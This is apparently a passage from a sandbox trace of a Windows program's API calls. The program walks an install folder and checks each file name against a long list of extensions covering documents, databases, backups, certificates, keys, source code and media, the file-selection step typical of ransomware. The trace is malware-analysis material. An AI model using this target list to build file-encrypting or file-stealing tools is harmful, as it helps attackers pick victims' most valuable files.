[0094.703] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".mft") returned 4 [0094.703] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".mfw") returned 4 [0094.703] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".mht") returned 4 [0094.703] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".mhtml") returned 6 [0094.703] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0094.703] lstrlenW (lpString=".mka") returned 4 [0094.704] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".mkidx") returned 6 [0094.704] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0094.704] lstrlenW (lpString=".mkv") returned 4 [0094.704] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".mos") returned 4 [0094.704] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".mov") returned 4 [0094.704] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".mp3") returned 4 [0094.704] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".mp4") returned 4 [0094.704] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".mpeg") returned 5 [0094.704] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0094.704] lstrlenW (lpString=".mpg") returned 4 [0094.704] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".mpv") returned 4 [0094.704] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".mrw") returned 4 [0094.704] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".msg") returned 4 [0094.704] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".mxl") returned 4 [0094.704] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".myd") returned 4 [0094.704] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0094.704] lstrlenW (lpString=".myi") returned 4 [0094.705] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0094.705] lstrlenW (lpString=".nef") returned 4 [0094.705] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0094.705] lstrlenW (lpString=".nrw") returned 4 [0094.705] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0094.705] lstrlenW (lpString=".obj") returned 4 [0094.705] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0094.705] lstrlenW (lpString=".odb") returned 4 [0094.705] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0094.705] lstrlenW (lpString=".odc") returned 4 [0094.705] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0094.705] lstrlenW (lpString=".odm") returned 4 [0094.705] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0094.705] lstrlenW (lpString=".odp") returned 4 [0094.705] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0094.705] lstrlenW (lpString=".ods") returned 4 [0094.705] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0094.705] lstrlenW (lpString=".oft") returned 4 [0094.705] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0094.705] lstrlenW (lpString=".one") returned 4 [0094.705] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0094.705] lstrlenW (lpString=".onepkg") returned 7 [0094.705] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0094.705] lstrlenW (lpString=".onetoc2") returned 8 [0094.705] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0094.705] lstrlenW (lpString=".opt") returned 4 [0094.705] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".oqy") returned 4 [0094.706] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".orf") returned 4 [0094.706] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".p12") returned 4 [0094.706] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".p7b") returned 4 [0094.706] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".p7c") returned 4 [0094.706] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".pam") returned 4 [0094.706] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".pbm") returned 4 [0094.706] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".pct") returned 4 [0094.706] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".pcx") returned 4 [0094.706] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".pdd") returned 4 [0094.706] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".pdf") returned 4 [0094.706] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".pdp") returned 4 [0094.706] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".pef") returned 4 [0094.706] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".pem") returned 4 [0094.706] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0094.706] lstrlenW (lpString=".pff") returned 4 [0094.707] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0094.707] lstrlenW (lpString=".pfm") returned 4 [0094.707] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0094.707] lstrlenW (lpString=".pfx") returned 4 [0094.707] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0094.707] lstrlenW (lpString=".pgm") returned 4 [0094.707] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0094.707] lstrlenW (lpString=".php") returned 4 [0094.707] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0094.707] lstrlenW (lpString=".php3") returned 5 [0094.707] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0094.707] lstrlenW (lpString=".php4") returned 5 [0094.707] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0094.707] lstrlenW (lpString=".php5") returned 5 [0094.707] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0094.707] lstrlenW (lpString=".phtml") returned 6 [0094.707] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0094.707] lstrlenW (lpString=".pict") returned 5 [0094.707] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0094.707] lstrlenW (lpString=".pl") returned 3 [0094.707] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0094.707] lstrlenW (lpString=".pls") returned 4 [0094.707] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0094.707] lstrlenW (lpString=".pm") returned 3 [0094.707] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0094.707] lstrlenW (lpString=".png") returned 4 [0094.707] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0094.707] lstrlenW (lpString=".pnm") returned 4 [0094.708] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0094.708] lstrlenW (lpString=".pot") returned 4 [0094.708] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0094.708] lstrlenW (lpString=".potm") returned 5 [0094.708] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0094.708] lstrlenW (lpString=".potx") returned 5 [0094.708] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0094.708] lstrlenW (lpString=".ppa") returned 4 [0094.708] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0094.708] lstrlenW (lpString=".ppam") returned 5 [0094.708] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0094.708] lstrlenW (lpString=".ppm") returned 4 [0094.708] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0094.708] lstrlenW (lpString=".pps") returned 4 [0094.708] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0094.708] lstrlenW (lpString=".ppsm") returned 5 [0094.708] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0094.708] lstrlenW (lpString=".ppt") returned 4 [0094.708] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0094.708] lstrlenW (lpString=".pptm") returned 5 [0094.708] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0094.708] lstrlenW (lpString=".pptx") returned 5 [0094.708] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0094.708] lstrlenW (lpString=".prn") returned 4 [0094.708] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0094.708] lstrlenW (lpString=".ps") returned 3 [0094.708] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0094.708] lstrlenW (lpString=".psb") returned 4 [0094.709] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0094.709] lstrlenW (lpString=".psd") returned 4 [0094.709] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0094.709] lstrlenW (lpString=".pst") returned 4 [0094.709] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0094.709] lstrlenW (lpString=".ptx") returned 4 [0094.709] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0094.709] lstrlenW (lpString=".pub") returned 4 [0094.709] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0094.709] lstrlenW (lpString=".pwm") returned 4 [0094.709] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0094.709] lstrlenW (lpString=".pxr") returned 4 [0094.709] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0094.709] lstrlenW (lpString=".py") returned 3 [0094.709] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0094.709] lstrlenW (lpString=".qt") returned 3 [0094.709] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0094.709] lstrlenW (lpString=".r3d") returned 4 [0094.709] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0094.709] lstrlenW (lpString=".raf") returned 4 [0094.709] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0094.709] lstrlenW (lpString=".rar") returned 4 [0094.709] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0094.710] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0094.710] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0094.710] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0094.710] FindClose (in: hFindFile=0x3e50380 | out: hFindFile=0x3e50380) returned 1 [0094.710] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0094.710] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0094.710] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0094.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26 [0094.711] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0094.712] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.712] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0094.712] lstrlenW (lpString="eula.rtf") returned 8 [0094.712] lstrlenW (lpString=".1cd") returned 4 [0094.712] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0094.712] lstrlenW (lpString=".3ds") returned 4 [0094.712] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0094.712] lstrlenW (lpString=".3fr") returned 4 [0094.712] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0094.712] lstrlenW (lpString=".3g2") returned 4 [0094.712] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0094.712] lstrlenW (lpString=".3gp") returned 4 [0094.712] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0094.712] lstrlenW (lpString=".7z") returned 3 [0094.712] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0094.712] lstrlenW (lpString=".accda") returned 6 [0094.713] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0094.713] lstrlenW (lpString=".accdb") returned 6 [0094.713] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0094.713] lstrlenW (lpString=".accdc") returned 6 [0094.713] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0094.713] lstrlenW (lpString=".accde") returned 6 [0094.713] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0094.713] lstrlenW (lpString=".accdt") returned 6 [0094.713] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0094.713] lstrlenW (lpString=".accdw") returned 6 [0094.713] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0094.713] lstrlenW (lpString=".adb") returned 4 [0094.713] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0094.713] lstrlenW (lpString=".adp") returned 4 [0094.713] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0094.713] lstrlenW (lpString=".ai") returned 3 [0094.713] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0094.713] lstrlenW (lpString=".ai3") returned 4 [0094.713] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0094.713] lstrlenW (lpString=".ai4") returned 4 [0094.713] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0094.713] lstrlenW (lpString=".ai5") returned 4 [0094.713] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0094.713] lstrlenW (lpString=".ai6") returned 4 [0094.713] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0094.713] lstrlenW (lpString=".ai7") returned 4 [0094.713] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0094.713] lstrlenW (lpString=".ai8") returned 4 [0094.714] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0094.714] lstrlenW (lpString=".anim") returned 5 [0094.714] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0094.714] lstrlenW (lpString=".arw") returned 4 [0094.714] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0094.714] lstrlenW (lpString=".as") returned 3 [0094.714] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0094.714] lstrlenW (lpString=".asa") returned 4 [0094.714] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0094.714] lstrlenW (lpString=".asc") returned 4 [0094.714] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0094.714] lstrlenW (lpString=".ascx") returned 5 [0094.714] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0094.714] lstrlenW (lpString=".asm") returned 4 [0094.714] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0094.714] lstrlenW (lpString=".asmx") returned 5 [0094.714] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0094.714] lstrlenW (lpString=".asp") returned 4 [0094.714] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0094.714] lstrlenW (lpString=".aspx") returned 5 [0094.714] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0094.714] lstrlenW (lpString=".asr") returned 4 [0094.714] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0094.714] lstrlenW (lpString=".asx") returned 4 [0094.714] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0094.714] lstrlenW (lpString=".avi") returned 4 [0094.714] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0094.714] lstrlenW (lpString=".avs") returned 4 [0094.714] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0094.715] lstrlenW (lpString=".backup") returned 7 [0094.715] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0094.715] lstrlenW (lpString=".bak") returned 4 [0094.715] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0094.715] lstrlenW (lpString=".bay") returned 4 [0094.715] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0094.715] lstrlenW (lpString=".bd") returned 3 [0094.715] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0094.715] lstrlenW (lpString=".bin") returned 4 [0094.715] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0094.715] lstrlenW (lpString=".bmp") returned 4 [0094.715] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0094.715] lstrlenW (lpString=".bz2") returned 4 [0094.715] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0094.715] lstrlenW (lpString=".c") returned 2 [0094.715] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0094.715] lstrlenW (lpString=".cdr") returned 4 [0094.715] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0094.715] lstrlenW (lpString=".cer") returned 4 [0094.715] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0094.715] lstrlenW (lpString=".cf") returned 3 [0094.716] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0094.716] lstrlenW (lpString=".cfc") returned 4 [0094.716] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0094.716] lstrlenW (lpString=".cfm") returned 4 [0094.716] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0094.716] lstrlenW (lpString=".cfml") returned 5 [0094.716] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0094.716] lstrlenW (lpString=".cfu") returned 4 [0094.716] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0094.716] lstrlenW (lpString=".chm") returned 4 [0094.716] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0094.716] lstrlenW (lpString=".cin") returned 4 [0094.716] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0094.716] lstrlenW (lpString=".class") returned 6 [0094.716] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0094.716] lstrlenW (lpString=".clx") returned 4 [0094.716] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0094.716] lstrlenW (lpString=".config") returned 7 [0094.716] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0094.716] lstrlenW (lpString=".cpp") returned 4 [0094.716] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0094.716] lstrlenW (lpString=".cr2") returned 4 [0094.716] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0094.716] lstrlenW (lpString=".crt") returned 4 [0094.716] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0094.716] lstrlenW (lpString=".crw") returned 4 [0094.716] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0094.716] lstrlenW (lpString=".cs") returned 3 [0094.717] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0094.717] lstrlenW (lpString=".css") returned 4 [0094.717] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".csv") returned 4 [0094.717] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".cub") returned 4 [0094.717] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".dae") returned 4 [0094.717] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".dat") returned 4 [0094.717] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".db") returned 3 [0094.717] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0094.717] lstrlenW (lpString=".dbf") returned 4 [0094.717] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".dbx") returned 4 [0094.717] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".dc3") returned 4 [0094.717] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".dcm") returned 4 [0094.717] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".dcr") returned 4 [0094.717] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".der") returned 4 [0094.717] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".dib") returned 4 [0094.717] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0094.717] lstrlenW (lpString=".dic") returned 4 [0094.718] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0094.718] lstrlenW (lpString=".dif") returned 4 [0094.718] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0094.718] lstrlenW (lpString=".divx") returned 5 [0094.718] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0094.718] lstrlenW (lpString=".djvu") returned 5 [0094.718] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0094.718] lstrlenW (lpString=".dng") returned 4 [0094.718] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0094.718] lstrlenW (lpString=".doc") returned 4 [0094.718] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0094.718] lstrlenW (lpString=".docm") returned 5 [0094.718] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0094.718] lstrlenW (lpString=".docx") returned 5 [0094.718] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0094.718] lstrlenW (lpString=".dot") returned 4 [0094.718] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0094.718] lstrlenW (lpString=".dotm") returned 5 [0094.718] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0094.718] lstrlenW (lpString=".dotx") returned 5 [0094.718] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0094.718] lstrlenW (lpString=".dpx") returned 4 [0094.718] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0094.718] lstrlenW (lpString=".dqy") returned 4 [0094.718] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0094.718] lstrlenW (lpString=".dsn") returned 4 [0094.718] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0094.718] lstrlenW (lpString=".dt") returned 3 [0094.719] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0094.719] lstrlenW (lpString=".dtd") returned 4 [0094.719] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0094.719] lstrlenW (lpString=".dwg") returned 4 [0094.719] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0094.719] lstrlenW (lpString=".dwt") returned 4 [0094.719] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0094.719] lstrlenW (lpString=".dx") returned 3 [0094.719] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0094.719] lstrlenW (lpString=".dxf") returned 4 [0094.719] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0094.719] lstrlenW (lpString=".edml") returned 5 [0094.719] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0094.719] lstrlenW (lpString=".efd") returned 4 [0094.719] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0094.719] lstrlenW (lpString=".elf") returned 4 [0094.719] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0094.719] lstrlenW (lpString=".emf") returned 4 [0094.719] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0094.719] lstrlenW (lpString=".emz") returned 4 [0094.719] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0094.719] lstrlenW (lpString=".epf") returned 4 [0094.719] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0094.719] lstrlenW (lpString=".eps") returned 4 [0094.719] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0094.719] lstrlenW (lpString=".epsf") returned 5 [0094.719] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0094.719] lstrlenW (lpString=".epsp") returned 5 [0094.720] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0094.720] lstrlenW (lpString=".erf") returned 4 [0094.720] lstrcmpiW (lpString1=".erf", 